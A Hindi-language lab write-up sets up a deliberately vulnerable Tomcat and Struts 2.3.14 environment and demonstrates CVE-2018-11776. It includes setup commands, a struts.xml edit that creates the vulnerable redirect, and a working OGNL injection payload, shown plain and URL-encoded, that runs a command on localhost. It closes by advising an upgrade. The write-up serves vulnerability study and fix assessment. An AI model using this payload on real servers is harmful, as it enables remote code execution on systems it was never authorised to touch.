
एक असुरक्षित वातावरण बनाना और PoC
प्रूफ ऑफ कॉन्सेप्ट शोषण ताकि मैं जल्दी से आकलन कर सकूं कि किस प्रकार की सुरक्षा और फिक्स उपलब्ध हैं।
मूलतः खोजा गया Man Yue Mo, Semmle द्वारा: https://semmle.com/news/apache-struts-CVE-2018-11776
Semmle के पास "Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo" YouTube वीडियो थोड़ी देर के लिए उपलब्ध था, लेकिन मुझे लगता है कि यह चला गया है या कम से कम अब Semmle से लिंक नहीं है: https://www.youtube.com/watch?v=5SDNX20SLJ0
उपरोक्त से जानकारी ली और फिर struts रिपॉजिटरी के कमिट्स को देखना शुरू किया: https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5
मैं डॉकर या जो भी बकवास करने के लिए बहुत आलसी हूँ...
sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get install default-jdk vim net-tools
mkdir ~/sources
cd ~/sources
tar xvzf apache-tomcat-7.0.90.tar.gz
sudo mv apache-tomcat-7.0.90 /opt/tomcat
vim ~/.bashrc
export JAVA_HOME=/usr/lib/jvm/default-java
export CATALINA_HOME=/opt/tomcat
. ~/.bashrc
sudo vim /opt/tomcat/conf/tomcat-users.xml
<user username="username" password="password" roles="manager-gui,admin-gui" />
cd ~/sources
$CATALINA_HOME/bin/shutdown.sh
$CATALINA_HOME/bin/startup.sh
$CATALINA_HOME/bin/shutdown.sh
$CATALINA_HOME/bin/startup.sh
vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
date.action पहले से परिभाषित है, इसलिए हमने बस एक और रीडायरेक्ट एक्शन जोड़ा जो date.action को कॉल करता है।
डिफ़ॉल्ट रूप से, alwaysSelectFullNamespace को True पर सेट होना चाहिए।
$CATALINA_HOME/bin/shutdown.sh
$CATALINA_HOME/bin/startup.sh
%{(#_memberAccess['allowStaticMethodAccess'] = true).(#rt = @java.lang.Runtime@getRuntime()).(#rt.exec('gnome-calculator'))}
127.0.0.1:8080/struts2-showcase-2.3.14/<encoded-command-goes-here>/help.action
127.0.0.1:8080/struts2-showcase-2.3.14/%25%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%27%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%27%5D%20%3D%20%74%72%75%65%29%2E%28%23%72%74%20%3D%20%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%29%2E%28%23%72%74%2E%65%78%65%63%28%27%67%6E%6F%6D%65%2D%63%61%6C%63%75%6C%61%74%6F%72%27%29%29%7D/help.action
असुरक्षित Ubuntu होस्ट पर निष्पादित करने पर, हमें एक नया कैलकुलेटर इंस्टेंस पॉप अप होता दिखना चाहिए।
स्ट्रट्स का एक और अत्यंत विशिष्ट, असुरक्षित कार्यान्वयन। इस कमजोरी के मीडिया कवरेज ने सभी को घबरा दिया था, हालांकि केवल सबसे लापरवाह कोड/कॉन्फ़िगरेशन ही वास्तव में असुरक्षित हैं... मैं इस कमजोरी को विश्वसनीय रूप से खोजने और/या इसका शोषण करने का कोई कुशल, गुप्त तरीका नहीं सोच सकता। मेरी सिफारिश: बस स्ट्रट्स को अपग्रेड करो... (या इसका उपयोग बंद करो)